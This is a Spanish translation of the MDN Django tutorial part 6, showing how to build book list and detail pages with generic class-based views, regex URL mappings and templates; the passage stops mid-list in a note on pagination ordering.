+title: 'Tutorial de Django Parte 6: Listas genéricas y vistas de detalle'
+slug: Learn/Server-side/Django/Generic_views
+tags:
+  - Aprender
+  - Principiante
+  - Tutorial
+  - django
+  - plantillas django
+  - vistas django
+translation_of: Learn/Server-side/Django/Generic_views
+---
+<div>{{LearnSidebar}}</div>
+
+<div>{{PreviousMenuNext("Learn/Server-side/Django/Home_page", "Learn/Server-side/Django/Sessions", "Learn/Server-side/Django")}}</div>
+
+<p class="summary">Este tutorial extiende nuestro sitio web de la <a href="https://developer.mozilla.org/en-US/docs/Learn/Server-side/Django/Tutorial_local_library_website" style="font-size: 1.25rem;">BibliotecaLocal</a><span style="font-size: 1.25rem;">, añadiendo páginas de listas y detalles de libros y autores. Aquí aprenderemos sobre vistas genéricas basadas en clases, y mostraremos cómo éstas pueden reducir la cantidad de código que tienes que escribir para casos de uso común. También entraremos en el manejo de URL en gran detalle, mostrando cómo realizar un emparejamiento de patrones básico</span><span style="font-size: 1.25rem;">.</span></p>
+
+<table class="learn-box standard-table">
+ <tbody>
+  <tr>
+   <th scope="row">Requisitos previos:</th>
+   <td>
+    <p>Completa todos los tópicos anteriores del tutorial, incluyendo <a href="https://developer.mozilla.org/es/docs/Learn/Server-side/Django/Home_page">Tutorial de Django Parte 5: Creación de tu página de inicio</a>.</p>
+   </td>
+  </tr>
+  <tr>
+   <th scope="row">Objetivo:</th>
+   <td>
+    <p>Entender dónde y cómo usar las vistas genéricas basadas en clases, y cómo extraer patrones desde las URLs y enviar la información a las vistas.</p>
+   </td>
+  </tr>
+ </tbody>
+</table>
+
+<h2 id="Visión_General">Visión General</h2>
+
+<p>En este tutorial vamos a completar la primera versión del sitio web <a href="https://developer.mozilla.org/es/docs/Learn/Server-side/Django/Tutorial_local_library_website">BibliotecaLocal</a> añadiendo páginas de lista y detalle para libros y autores (o para ser más precisos, te mostraremos cómo implementar las páginas de libros, ¡y te dejaremos crear las páginas de autores por tí mismo!)</p>
+
+<p>El proceso es similar al de creación de la página índice, que mostramos en el tutorial anterior. Aquí también necesitaremos crear mapeos URL, vistas y plantillas. La principal diferencia es que para las páginas de detalle tendremos el reto adicional de extraer información desde patrones en las URLs y pasarla a la vista. Para estas páginas vamos a mostrar un tipo de vista completamente diferente: vistas genéricas de lista y detalle basadas en clases. Estas pueden reducir significativamente la cantidad de código requerido para las vistas, haciéndolas más fáciles de escribir y mantener.</p>
+
+<p>La parte final del tutorial mostrará cómo paginar tu información al usar vistas de lista genéricas basadas en clases.</p>
+
+<h2 id="Página_de_lista_de_libros">Página de lista de libros</h2>
+
+<p>La página de lista de libros desplegará una lista con todos los registros de libros disponibles en la página, a la cual se accede usando la URL:  <code>catalog/books/</code>. La página desplegará un título y un autor para cada registro, siendo el título un hipervículo a la página de detalle de libro relacionada. La página tendrá la misma estructura y navegación que todas las demás páginas en el sitio, y por tanto podemos extender la plantilla base (<strong>base_generic.html</strong>) que creamos en el tutorial anterior.</p>
+
+<h3 id="Mapeo_URL">Mapeo URL</h3>
+
+<p>Abre <strong>/catalog/urls.py</strong> y copia allí la línea que se muestra abajo en negrita. De manera muy similar al mapeo de nuestro índice, esta función <code>url()</code> define una expresión regular (RE) para comparala con la URL (<strong>r'^books/$'</strong>), una función de vista que será llamada si la URL coincide (<code>views.BookListView.as_view()</code>) y un nombre para este mapeo en particular.</p>
+
+<pre class="brush: python">urlpatterns = [
+    url(r'^$', views.index, name='index'),
+<strong>    url(r'^books/$', views.BookListView.as_view(), name='books'),</strong>
+]</pre>
+
+<p>Esta expresión regular coincide con URLs iguales a <code>books/</code> (<code>^</code> es un marcador de inicio de cadena y <code>$</code> es un marcador de fin de cadena). Como se discutió en el tutorial anterior, la URL debió previamente haber coincidido con <code>/catalog</code>, de modo que la vista será llamada en realidad para la URL: <code>/catalog/books/</code>.</p>
+
+<p>La función de vista tiene un formato diferente al anterior -- eso es porque esta vista será en realidad implementada como una clase. Heredaremos desde una función de vista genérica existente que ya hace la mayoría de lo que queremos que esta función de vista haga, en lugar de escribir la nuestra propia desde el inicio.</p>
+
+<p>Para las vistas basadas en clases de Django, accedemos a una función de vista apropiada llamando al método de clase <code>as_view()</code>. Esto hace todo el trabajo de crear una instancia de la clase, y asegurarse de que los métodos controladores correctos sean llamados para las solicitudes HTTP entrantes.</p>
+
+<h3 id="Vista_(basada_en_clases)">Vista (basada en clases)</h3>
+
+<p>Podríamos fácilmente escribir la vista de lista de libros como una función regular (tal como nuestra vista de índice anterior), la cual consultaría a la base de datos por todos los libros, y luego llamar a <code>render()</code> para pasar dicha lista a una plantilla específica. Sin embargo, en lugar de eso usaremos una vista de lista genérica basada en clases (ListView) -- una clase que hereda desde una vista existente. Debido a que la vista genérica ya implementa la mayoría de la funcionalidad que necesitamos, y sigue la práctica adecuada de Django, seremos capaces de crear una vista de lista más robusta con menos código, menos repetición, y por último menos mantenimiento.</p>
+
+<p>Abre <strong>catalog/views.py</strong>, y copia el siguiente código al final del archivo:</p>
+
+<pre class="brush: python">from django.views import generic
+
+class BookListView(generic.ListView):
+    model = Book</pre>
+
+<p>¡Eso es todo! La vista genérica consultará a la base de datos para obtener todos los registros del modelo especificado (<code>Book</code>) y renderizará una plantilla ubicada en <strong>/locallibrary/catalog/templates/catalog/book_list.html</strong> (que crearemos más abajo). Dentro de la plantilla puedes acceder a la lista de libros mediante la variable de plantilla llamada <code>object_list</code> O <code>book_list</code> (esto es, genéricamente, "<code><em>nombre_del_modelo</em>_list</code>").</p>
+
+<div class="note">
+<p><strong>Nota</strong>: Esta ruta complicada para la ubicación de la plantilla no es un error de digitación -- las vistas genéricas buscan plantillas en <code><em>/application_name/the_model_name</em>_list.html</code> (<code>catalog/book_list.html</code> en este caso) dentro del directorio de la aplicación <code>/<em>application_name</em>/templates/</code> (<code>/catalog/templates/</code>).</p>
+</div>
+
+<p>Puedes añadir atributos para cambiar el comportamiento por defecto de arriba. Por ejemplo, puedes especificar otro archivo de plantilla si necesitas tener múltiples vistas que usen el mismo modelo, o puedes querer usar un nombre diferente de variable de plantilla si <code>book_list</code> no resulta intuitivo para tu caso particular de uso de plantilla. Posiblemente la variación más útil es cambiar/filtrar el conjunto de resultados que se devuelve, así, en lugar de listar todos los libros podrías listar los 5 libros más leídos por otros usuarios.</p>
+
+<pre class="brush: python">class BookListView(generic.ListView):
+    model = Book
+    context_object_name = 'my_book_list'   # your own name for the list as a template variable
+    queryset = Book.objects.filter(title__icontains='war')[:5] # Get 5 books containing the title war
+    template_name = 'books/my_arbitrary_template_name_list.html'  # Specify your own template name/location</pre>
+
+<h4 id="Sobreescribiendo_métodos_en_vistas_basadas_en_clases">Sobreescribiendo métodos en vistas basadas en clases</h4>
+
+<p>Si bien no necesitamos hacerlo aquí, puedes también sobreescribir algunos de los métodos de clase.</p>
+
+<p>Por ejemplo, podemos sobreescribir el método <code>get_queryset()</code> para cambiar la lista de registros devueltos. Esto es más flexible que simplemente ajustar el atributo <code>queryset</code> como lo hicimos en el fragmento de código anterior (aunque en este caso no existe un beneficio real):</p>
+
+<p> </p>
+
+<pre class="brush: python">class BookListView(generic.ListView):
+    model = Book
+
+    def get_queryset(self):
+        return Book.objects.filter(title__icontains='war')[:5] # Get 5 books containing the title war
+</pre>
+
+<p> </p>
+
+<p>Podríamos también sobreescribir <code>get_context_data()</code> con el objeto de pasar variables de contexto adicionales a la plantilla (ej. la lista de libros se pasa por defecto). El fragmento de abajo muestra cómo añadir una variable llamada "some_data" al contexto (la misma estaría entonces disponible como una variable de plantilla).</p>
+
+<pre class="brush: python">class BookListView(generic.ListView):
+    model = Book
+
+    def get_context_data(self, **kwargs):
+        # Call the base implementation first to get a context
+        context = super(BookListView, self).get_context_data(**kwargs)
+        # Get the blog from id and add it to the context
+        context['some_data'] = 'This is just some data'
+        return context</pre>
+
+<p>Cuando se hace esto es importante seguir este patrón:</p>
+
+<ul>
+ <li>Primero obtener el contexto existente desde nuestra superclase.</li>
+ <li>Luego añadir tu nueva información de contexto.</li>
+ <li>Luego devolver el nuevo contexto (actualizado).</li>
+</ul>
+
+<div class="note">
+<p><strong>Nota</strong>: Revisa <a href="https://docs.djangoproject.com/en/1.10/topics/class-based-views/generic-display/">Built-in class-based generic views</a> (Django docs) para muchos más ejemplos de lo que puedes hacer.</p>
+</div>
+
+<h3 id="Creando_la_plantilla_de_Vista_de_Lista">Creando la plantilla de Vista de Lista</h3>
+
+<p>Crea el archivo HTML <strong>/locallibrary/catalog/templates/catalog/book_list.html</strong> y copia allí el texto de abajo. Como se discutió antes, este es el archivo de plantilla por defecto esperado por la vista de lista genérica basada en clases (para un modelo llamado <code>Book</code> en una aplicación llamada <code>catalog</code>).</p>
+
+<p>Las plantillas para las vistas genéricas son como cualquier otra plantilla (si bien el contexto/información enviada a la plantilla puede variar, por supuesto). Como con nuestra plantilla <em>índice</em>, extendemos nuestra plantilla base en la primera línea, y luego reemplazamos el bloque llamado <code>content</code>.</p>
+
+<pre class="brush: html">{% extends "base_generic.html" %}
+
+{% block content %}
+    &lt;h1&gt;Book List&lt;/h1&gt;
+
+    <strong>{% if book_list %}</strong>
+    &lt;ul&gt;
+
+      {% for book in book_list %}
+      &lt;li&gt;
+        &lt;a href="\{{ book.get_absolute_url }}"&gt;\{{ book.title }}&lt;/a&gt; (\{{book.author}})
+      &lt;/li&gt;
+      {% endfor %}
+
+    &lt;/ul&gt;
+    <strong>{% else %}</strong>
+      &lt;p&gt;There are no books in the library.&lt;/p&gt;
+    <strong>{% endif %} </strong>
+{% endblock %}</pre>
+
+<p>La vista envía el contexto (lista de libros) por defecto como <code>object_list</code> y <code>book_list</code> (son áliases, cualquiera de ellos funcionará).</p>
+
+<h4 id="Ejecución_condicional">Ejecución condicional</h4>
+
+<p>Usamos las etiquetas de plantilla <code><a href="https://docs.djangoproject.com/en/1.10/ref/templates/builtins/#if">if</a></code>, <code>else</code> y <code>endif</code> para revisar si la <code>book_list</code> ha sido definida y no está vacía. Si <code>book_list</code> está vacía, entonces la cláusula <code>else</code> despliega un texto que explica que no existen libros a listar. Si <code>Book_list</code> no está vacía, entonces iteramos a través de la lista de libros.</p>
+
+<pre class="brush: html"><strong>{% if book_list %}</strong>
+  &lt;!-- code here to list the books --&gt;
+<strong>{% else %}</strong>
+  &lt;p&gt;There are no books in the library.&lt;/p&gt;
+<strong>{% endif %}</strong>
+</pre>
+
+<p>La condicional de arriba solo revisa un caso, pero puedes revisar condiciones adicionales usando la etiqueta de plantilla <code>elif</code> (ej. <code>{% elif var2 %}</code>). Para mayor información sobre operadores condicionales mira: <a href="https://docs.djangoproject.com/en/1.10/ref/templates/builtins/#if">if</a>, <a href="https://docs.djangoproject.com/en/1.10/ref/templates/builtins/#ifequal-and-ifnotequal">ifequal/ifnotequal</a>, y <a href="https://docs.djangoproject.com/en/1.10/ref/templates/builtins/#ifchanged">ifchanged</a> en <a href="https://docs.djangoproject.com/en/1.10/ref/templates/builtins">Built-in template tags and filters</a> (Django Docs).</p>
+
+<h4 id="Lazos_For">Lazos For</h4>
+
+<p>La plantilla usa las etiquetas de plantilla <a href="https://docs.djangoproject.com/en/1.10/ref/templates/builtins/#for">for</a> y <code>endfor</code> para iterar a través de la lista de libros, como se muestra abajo. Cada iteración asigna a la variable de plantilla <code>book</code> la información para el ítem actual de la lista.</p>
+
+<pre class="brush: html">{% for <strong>book</strong> in book_list %}
+  &lt;li&gt; &lt;!-- code here get information from each <strong>book</strong> item --&gt; &lt;/li&gt;
+{% endfor %}
+</pre>
+
+<p>Si bien no se usan aquí, Django creará otras variables dentro del lazo que puedes usar para monitorear la iteración. Por ejemplo, puedes revisar la variable <code>forloop.last</code> para realizar un procesamiento condicional la última vez que el lazo se ejecuta.</p>
+
+<h4 id="Accediendo_a_las_variables">Accediendo a las variables</h4>
+
+<p>El código dentro del lazo crea un ítem de lista para cada libro, que muestra tanto el título (como un enlace hacia la vista de detalle que aún no creamos) como el autor.</p>
+
+<pre class="brush: html">&lt;a href="\{{ book.get_absolute_url }}"&gt;\{{ book.title }}&lt;/a&gt; (\{{book.author}})
+</pre>
+
+<p>Accedemos a los <em>campos</em> del registro del libro asociado usando la "notación de punto" (ej. <code>book.title</code> y <code>book.author</code>), donde el texto que sigue a la palabra <code>book</code> es el nombre del campo (como se definió en el modelo).</p>
+
+<p>También podemos invocar <em>funciones</em> en el modelo desde dentro de nuestra plantilla -- en este caso invocamos a <code>book.get_absolute_url()</code> para obtener una URL que se podría usar para desplegar la página de detalle relacionada. Esto funciona siempre y cuando la función no tenga ningún argumento (¡no hay forma de enviar argumentos!).</p>
+
+<div class="note">
+<p><strong>Nota</strong>: Debemos tener cuidado de los "efectos secundarios" al invocar funciones en las plantillas. Aquí solo obtenemos una URL para desplegar, pero una función puede hacer casi cualquier cosa -- ¡no quisieramos borrar nuestra base de datos (por ejemplo) solo por renderizar nuestra plantilla!</p>
+</div>
+
+<h4 id="Actualizar_la_plantilla_base">Actualizar la plantilla base</h4>
+
+<p>Abre la plantilla base (<strong>/locallibrary/catalog/templates/<em>base_generic.html</em></strong>) e inserta <strong>{% url 'books' %}</strong> en el enlace URL para <strong>All books</strong>, como se muestra abajo. Esto habilitará el enlace en todas las páginas (podemos ubicar esto exitosamente en su lugar ahora que hemos creado el mapeo url "books").</p>
+
+<pre class="brush: python">&lt;li&gt;&lt;a href="{% url 'index' %}"&gt;Home&lt;/a&gt;&lt;/li&gt;
+<strong>&lt;li&gt;&lt;a href="{% url 'books' %}"&gt;All books&lt;/a&gt;&lt;/li&gt;</strong>
+&lt;li&gt;&lt;a href=""&gt;All authors&lt;/a&gt;&lt;/li&gt;</pre>
+
+<h3 id="¿Cómo_se_ve">¿Cómo se ve?</h3>
+
+<p>Aún no podrás ver la lista de libros, porque aún nos falta una dependencia -- el mapeo URL para las páginas de detalle de libros, que se necesita para crear los hipervínculos a los libros individuales. Mostraremos tanto la lista de libros como las vistas de detalle después de la siguiente sección.</p>
+
+<h2 id="Página_de_detalle_de_libros">Página de detalle de libros</h2>
+
+<p>La página de detalle de libro desplegará información sobre un libro específico, a la que se accede usando la URL <code>catalog/book/<em>&lt;id&gt;</em></code> (donde <code>&lt;id&gt;</code> es la clave primaria para el libro). Además de los campos en el modelo <code>Book</code> (autor, resumen, ISBN, idioma, y género), listaremos también los detalles de las copias disponibles (<code>BookInstances</code>) incluyendo su estado, fecha de devolución esperada, edición e id. Esto permitirá a nuestros lectores no solo saber sobre el libro en sí, sino también confirmar si está disponible o cuándo lo estará.</p>
+
+<h3 id="Mapeo_URL_2">Mapeo URL</h3>
+
+<p>Abre <strong>/catalos/urls.py</strong> y añade el mapeador URL <strong>'book-detail'</strong> que se muestra abajo en negrita. Esta función <code>url()</code> define un patrón, vista de detalle genérica basada en clases asociada, y un nombre.</p>
+
+<pre class="brush: python">urlpatterns = [
+    url(r'^$', views.index, name='index'),
+    url(r'^books/$', views.BookListView.as_view(), name='books'),
+<strong>    url(r'^book/(?P&lt;pk&gt;\d+)$', views.BookDetailView.as_view(), name='book-detail'),</strong>
+]</pre>
+
+<p>A diferencia de nuestros mapeadores anteriores, en este caso estamos usando nuestra expresión regular (RE) para comparar frente a un "patrón" real en lugar de una simple cadena. Lo que hace esta RE en particular es coincidir con cualquier URL que empiece por <code>book/</code>, seguido de uno o más <em>dígitos</em> (números) antes del marcador de fin de línea. Mientras se realiza la comparación, se "capturan" los dígitos y son enviados a la función de vista como un parámetro llamado <code>pk</code>.</p>
+
+<div class="note">
+<p><strong>Nota</strong>: Como ya se discutió antes, nuestra URL coincidente es en realidad <code>catalog/book/&lt;digits&gt;</code> (como estamos en la aplicación <strong>catalog</strong>, se asume <code>/catalog/</code>).</p>
+</div>
+
+<div class="warning">
+<p><strong>Importante</strong>: La vista de detalle genérica basada en clases <em>espera</em> que se le envíe un parámetro llamado pk. Si estás escribiendo tu propia vista de función, puedes usar el nombre de parámetro que quieras, o incluso enviar la información como un argumento sin nombre.</p>
+</div>
+
+<h4 id="Una_breve_introducción_a_las_expresiones_regulares">Una breve introducción a las expresiones regulares</h4>
+
+<p>Las <a href="https://docs.python.org/3/library/re.html">expresiones regulares</a> son una herramienta de mapeo de patrones increíblemente poderosa. Hemos dicho poco sobre ellas hasta ahora porque estuvimos comparando con cadenas fijas en nuestras URLs (en lugar de con patrones) y porque son, francamente, bastante intuitivas e intimidantes para los principiantes.</p>
+
+<div class="note">
+<p><strong>Nota</strong>: ¡No te asustes! Los tipos de patrones con los que estaremos comparando son bastante simples, ¡y en muchos casos están bien documentados!</p>
+</div>
+
+<p>Lo primero que hay que saber es que las expresiones regulares deberían ser declaradas normalmente usando la sintaxis de literal de cadena sin procesar (esto es, están encerradas así: <strong>r'&lt;tu expresión regular va aquí&gt;'</strong>).</p>
+
+<p>Las partes principales de la sintaxis que necesitarás saber para declarar las coincidencias de patrones son:</p>
+
+<table class="standard-table">
+ <thead>
+  <tr>
+   <th scope="col">Símbolo</th>
+   <th scope="col">Significado</th>
+  </tr>
+ </thead>
+ <tbody>
+  <tr>
+   <td>^</td>
+   <td>Coincide con el inicio del texto</td>
+  </tr>
+  <tr>
+   <td>$</td>
+   <td>Coincide con el fin del texto</td>
+  </tr>
+  <tr>
+   <td>\d</td>
+   <td>Coincide con un dígito (0, 1, 2, ... 9)</td>
+  </tr>
+  <tr>
+   <td>\w</td>
+   <td>
+    <p>Concide con un caracter de palabra, ej. cualquier caracter del alfabeto en mayúscula o minúscula, dígito o guión bajo (_)</p>
+   </td>
+  </tr>
+  <tr>
+   <td>+</td>
+   <td>
+    <p>Concide con uno o más caracteres del precedente. Por ejemplo, para coincidir con uno o más dígitos usarías <code>\d+</code>. Para concidir con uno o más caracteres "a", podrías usar <code>a+</code></p>
+   </td>
+  </tr>
+  <tr>
+   <td>*</td>
+   <td>
+    <p>Concide con cero o más caracteres del precedente. Por ejemplo, para coincidir con nada o una palabra podrías usar <code>\w*</code></p>
+   </td>
+  </tr>
+  <tr>
+   <td>( )</td>
+   <td>
+    <p>Captura la parte del patrón dentro de los paréntesis. Todos los valores capturados serán enviados a la vista como parámetros sin nombre (si se captura múltiples patrones, los parámetros asociados serán enviados en el  órden en que fueron declaradas las capturas).</p>
+   </td>
+  </tr>
+  <tr>
+   <td>(?P&lt;<em>name</em>&gt;...)</td>
+   <td>
+    <p>Captura el patrón (indicado por ...) como una variable con nombre (en este caso "name"). Los valores capturados se envían a la vista con el nombre especificado. Tu vista debe, por tanto, ¡declarar un argumento con el mismo nombre!</p>
+   </td>
+  </tr>
+  <tr>
+   <td>[  ]</td>
+   <td>
+    <p>Concide con un caracter del conjunto. Por ejemplo, [abc] coincidirá con 'a' o 'b' o 'c'. [-\w] coincidrá con el caracter '-' o con cualquier letra.</p>
+   </td>
+  </tr>
+ </tbody>
+</table>
+
+<p>¡La mayoría de los caracteres restantes se pueden tomar literalmente!</p>
+
+<p>Consideremos algunos ejemplos reales de patrones:</p>
+
+<table class="standard-table">
+ <thead>
+  <tr>
+   <th scope="col">Patrón</th>
+   <th scope="col">Descripción</th>
+  </tr>
+ </thead>
+ <tbody>
+  <tr>
+   <td><strong>r'^book/(?P&lt;pk&gt;\d+)$'</strong></td>
+   <td>
+    <p>Esta es la RE usada en nuestro mapeador url. Concide con una cadena que tiene <code>book/</code> al inicio de la línea (<strong>^book/</strong>), luego tiene uno o más dígitos (<code>\d+</code>), y luego termina (sin ningún caracter que no sea un dígito antes del marcador de fin de línea).</p>
+
+    <p>También captura todos los dígitos <strong>(?P&lt;pk&gt;\d+)</strong> y los envía a la vista como un parámetro llamado 'pk'. <strong>¡Los valores capturados siempre se envían como cadena!</strong></p>
+
+    <p>Por ejemplo, esto coincidiría con <code>book/1234</code>, y enviaría una variable <code>pk='1234'</code> a la vista.</p>
+   </td>
+  </tr>
+  <tr>
+   <td><strong>r'^book/(\d+)$'</strong></td>
+   <td>
+    <p>Esta expresión coincide con las mismas URLs que el caso anterior. La información capturada se enviaría a la vista como un argumento sin nombre.</p>
+   </td>
+  </tr>
+  <tr>
+   <td><strong>r'^book/(?P&lt;stub&gt;[-\w]+)$'</strong></td>
+   <td>
+    <p>Esta expresión coincide con una cadena que tiene <code>book/</code> al inicio de la línea (<strong>^book/</strong>), luego tiene uno o más caracteres que son <em>o bien</em> '-' o una letra (<strong>[-\w]+</strong>), y luego termina. También captura este conjunto de caracteres y los envía a la vista como un parámetro llamado 'stub'.</p>
+
+    <p>Este es un patrón bastante típico para un "talón". Estos talones representan claves primarias en URLs amigables basadas en palabras para la información. Podrías usar un talón si quisieras que la URL de un libro sea más informativa. Por ejemplo, <code>/catalog/book/the-secret-garden</code> en lugar de <code>/catalog/book/33</code>.</p>
+   </td>
+  </tr>
+ </tbody>
+</table>
+
+<p>Puedes capturar múltiples patrones en una sola comparación, y por tanto codificar bastantes datos diferentes en una URL.</p>
+
+<div class="note">
+<p><strong>Nota</strong>: Como reto, considera cómo podrías codificar una url para listar todos los libros publicados en un año, mes y día en particular, y la RE que podría usarse para la comparación.</p>
+</div>
+
+<h4 id="Enviado_opciones_adicionales_en_tus_mapeos_URL">Enviado opciones adicionales en tus mapeos URL</h4>
+
+<p>Una característica que no hemos usado aquí, pero que te puede resultar valiosa, es que puedes declarar y enviar <a href="https://docs.djangoproject.com/en/1.10/topics/http/urls/#views-extra-options">opciones adicionales</a> a la vista. Las opciones se declaran como un diccionario que envías como el tercer argumento sin nombre a la función <code>url()</code>. Esta estrategia puede resultar útil si quiere usar la misma vista para múltiples recursos, y enviar información para configurar su comportamiento en cada caso (abajo suministramos una plantilla diferente en cada caso).</p>
+
+<pre class="brush: python">url(r'^/url/$', views.my_reused_view, {'my_template_name': 'some_path'}, name='aurl'),
+url(r'^/anotherurl/$', views.my_reused_view, {'my_template_name': 'another_path'}, name='anotherurl'),
+
+</pre>
+
+<div class="note">
+<p><strong>Nota</strong>: Tanto las opciones extra como los patrones capturados con nombre se envían a la vista como argumentos <em>con nombre</em>. Si usas el <strong>mismo nombre</strong> tanto para un patrón capturado como para una opción extra, solo el valor del patrón capturado será enviado a la vista (el valor especificado para la opción extra será eliminado).</p>
+</div>
+
+<h3 id="Vista_(basada_en_clases)_2">Vista (basada en clases)</h3>
+
+<p>Abre <strong>catalog/views.py</strong> y copia el siguiente código al final del archivo:</p>
+
+<pre class="brush: python">class BookDetailView(generic.DetailView):
+    model = Book</pre>
+
+<p>¡Eso es todo! Lo único que necesitas hacer ahora es crear una plantilla llamada <strong>/locallibrary/catalog/templates/catalog/book_detail.html</strong>, y la vista enviará la información en la base de datos para el registro del libro específico, extraído por el mapeador URL. Dentro de la plantilla puedes acceder a la lista de libros mediante la variable de plantilla llamada <code>object</code> o <code>book</code> (esto es, genéricamente, "<em><code>el_nombre_del_modelo</code></em>").</p>
+
+<p>Si lo necesitas puedes cambiar la plantilla usada y el nombre del objeto de contexto usado para referenciar al libro en la plantilla. Puedes también sobreescribir métodos para, por ejemplo, añadir información adicional al contexto.</p>
+
+<h4 id="¿Qué_sucede_si_el_registro_no_existe">¿Qué sucede si el registro no existe?</h4>
+
+<p>Si un registro solicitado no existe, la vista de detalle genérica basada en clases lanzará automáticamente por tí una excepción de tipo Http404 -- en producción, esto desplegará automáticamente una página apropiada de "recurso no encontrado", que puedes personalizar si lo deseas.</p>
+
+<p>Solo para darte una idea sobre cómo funciona esto, el fragmento de código de abajo demuestra cómo implementarías la vista basada en clases como una función, si <strong>no</strong> estuvieras usando la vista de detalle genérica basada en clases.</p>
+
+<pre class="brush: python">def book_detail_view(request,pk):
+    try:
+        book_id=Book.objects.get(pk=pk)
+    except Book.DoesNotExist:
+        raise Http404("Book does not exist")
+
+    #book_id=get_object_or_404(Book, pk=pk)
+
+    return render(
+        request,
+        'catalog/book_detail.html',
+        context={'book':book_id,}
+    )
+</pre>
+
+<p>Primero, la vista intenta recuperar el registro del libro específico desde el modelo. Si esto falla, la vista debería lanzar una excepción de tipo <code>Http404</code> para indicar que el libro "no se encuentra". El último paso es, como de costumbre, llamar a <code>render()</code> con el nombre de la plantilla y la información del libro en el parámetro <code>context</code> (como un diccionario).</p>
+
+<div class="note">
+<p><strong>Nota</strong>: <code>get_object_or_404()</code> (que se muestra comentado arriba), es un atajo conveniente para lanzar una excepción de tipo <code>Http404</code> si el registro no se encuentra.</p>
+</div>
+
+<h3 id="Creando_la_plantilla_de_Vista_de_Detalle">Creando la plantilla de Vista de Detalle</h3>
+
+<p>Crea el archivo HTML <strong>/locallibrary/catalog/templates/catalog/book_detail.html</strong> y ponle el contenido de abajo. Como se discutió antes, este es el nombre de archivo por defecto esperado por la vista de detalle genérica basada en clases (para un modelo llamado <code>Book</code> en una aplicación llamada <code>catalog</code>).</p>
+
+<pre class="brush: html">{% extends "base_generic.html" %}
+
+{% block content %}
+  &lt;h1&gt;Title: \{{ book.title }}&lt;/h1&gt;
+
+  &lt;p&gt;&lt;strong&gt;Author:&lt;/strong&gt; &lt;a href=""&gt;\{{ book.author }}&lt;/a&gt;&lt;/p&gt; &lt;!-- author detail link not yet defined --&gt;
+  &lt;p&gt;&lt;strong&gt;Summary:&lt;/strong&gt; \{{ book.summary }}&lt;/p&gt;
+  &lt;p&gt;&lt;strong&gt;ISBN:&lt;/strong&gt; \{{ book.isbn }}&lt;/p&gt;
+  &lt;p&gt;&lt;strong&gt;Language:&lt;/strong&gt; \{{ book.language }}&lt;/p&gt;
+  &lt;p&gt;&lt;strong&gt;Genre:&lt;/strong&gt; {% for genre in book.genre.all %} \{{ genre }}{% if not forloop.last %}, {% endif %}{% endfor %}&lt;/p&gt;
+
+  &lt;div style="margin-left:20px;margin-top:20px"&gt;
+    &lt;h4&gt;Copies&lt;/h4&gt;
+
+    {% for copy in book.bookinstance_set.all %}
+    &lt;hr&gt;
+    &lt;p class="{% if copy.status == 'a' %}text-success{% elif copy.status == 'm' %}text-danger{% else %}text-warning{% endif %}"&gt;\{{ copy.get_status_display }}&lt;/p&gt;
+    {% if copy.status != 'a' %}&lt;p&gt;&lt;strong&gt;Due to be returned:&lt;/strong&gt; \{{copy.due_back}}&lt;/p&gt;{% endif %}
+    &lt;p&gt;&lt;strong&gt;Imprint:&lt;/strong&gt; \{{copy.imprint}}&lt;/p&gt;
+    &lt;p class="text-muted"&gt;&lt;strong&gt;Id:&lt;/strong&gt; \{{copy.id}}&lt;/p&gt;
+    {% endfor %}
+  &lt;/div&gt;
+{% endblock %}</pre>
+
+<ul>
+</ul>
+
+<div class="note">
+<p>El enlace <code>author</code> en la plantilla de arriba tiene una URL vacía porque no hemos creado aún una página de detalle de autor. Una vez que esta exista, deberías actualizar la URL así:</p>
+
+<pre>&lt;a href="<strong>{% url 'author-detail' book.author.pk %}</strong>"&gt;\{{ book.author }}&lt;/a&gt;
+</pre>
+</div>
+
+<p>Aunque es un poco más larga, casi todo lo que existe en esta plantilla se ha descrito previamente:</p>
+
+<ul>
+ <li>Extendemos nuestra plantilla base y sobreescribimos el bloque "content"</li>
+ <li>Usamos procesamiento condicional para determinar si desplegar o no contenidos específicos</li>
+ <li>Usamos lazos <code>for</code> para iterar a través de listas de objetos.</li>
+ <li>Accedemos a los campos de contexto usando la notación de puntos (como hemos usado la vista de detalle genérica, el contexto se llama <code>book</code>; podríamos también usar "<code>object</code>")</li>
+</ul>
+
+<p>Lo interesante que no hemos visto previamente es la función <code>book.bookinstance_set.all()</code>. Este método es "automágicamente" creado por Django para devolver el conjunto de registros de <code>BookInstance</code> asociado con un <code>Book</code> en particular.</p>
+
+<pre class="brush: python">{% for copy in book.bookinstance_set.all %}
+&lt;!-- code to iterate across each copy/instance of a book --&gt;
+{% endfor %}</pre>
+
+<p>Este método es necesario porque has declarado un campo <code>ForeignKey</code> (uno-a-muchos) únicamente en la lado "uno" de la relación. Como no haces nada para declarar la relación en el otro modelo ("muchos"), este no tiene ningún campo para obtener el conjunto de registros asociados. Para superar este problema, Django construye una función apropiadamente llamada "búsqueda reversa" que puedes usar. El nombre de la función se construye convirtiendo a minúsculas el nombre del modelo donde la <code>ForeignKey</code> fue declarada, seguido por <code>_set</code> (así, la función creada en <code>Book</code> es <code>bookinstance_set()</code>).</p>
+
+<div class="note">
+<p><strong>Nota</strong>: Aquí usamos <code>all()</code> para obtener todos los registros (la opción por defecto). A pesar de que puedes usar el método <code>filter()</code> para obtener un subconjunto de registros en el código, no puedes hacerlo directamente en las plantillas porque no puedes especificar argumentos para las funciones.</p>
+
+<p>Ten también cuidado de que si no defines un orden (en tu vista o modelo basado en clases), verás errores arrojados por el servidor de dearrollo como este:</p>
+
+<pre>[29/May/2017 18:37:53] "GET /catalog/books/?page=1 HTTP/1.1" 200 1637
+/foo/local_library/venv/lib/python3.5/site-packages/django/views/generic/list.py:99: UnorderedObjectListWarning: Pagination may yield inconsistent results with an unordered object_list: &lt;QuerySet [&lt;Author: Ortiz, David&gt;, &lt;Author: H. McRaven, William&gt;, &lt;Author: Leigh, Melinda&gt;]&gt;
+  allow_empty_first_page=allow_empty_first_page, **kwargs)
+</pre>
+
+<p>Eso sucede porque el <a href="https://docs.djangoproject.com/en/1.10/topics/pagination/#paginator-objects">objeto paginador</a> espera ver una cláusula ORDER BY siendo ejecutada en tu base de datos subyacente. Sin ella, ¡no puede estar seguro de que los registros devueltos están en el orden correcto!</p>
+
+<p>Este tutorial no llegó a la <strong>Paginación</strong> (aún, pero pronto lo hará), pero como no puedes uar <code>sort_by()</code> y enviar un parámetro (el mismo con <code>filter()</code> descrito arriba) tendrás que escoger entre tres opciones:</p>
+
+<ol>
+ <li>Añadir un <code>ordering</code> dentro de una declaración <code>class Meta</code> en tu modelo.</li>
+ <li>Añadir un atributo <code>queryset</code> en tu vista basada en clases personalizada, especificando un <code>order_by()</code>.</li>
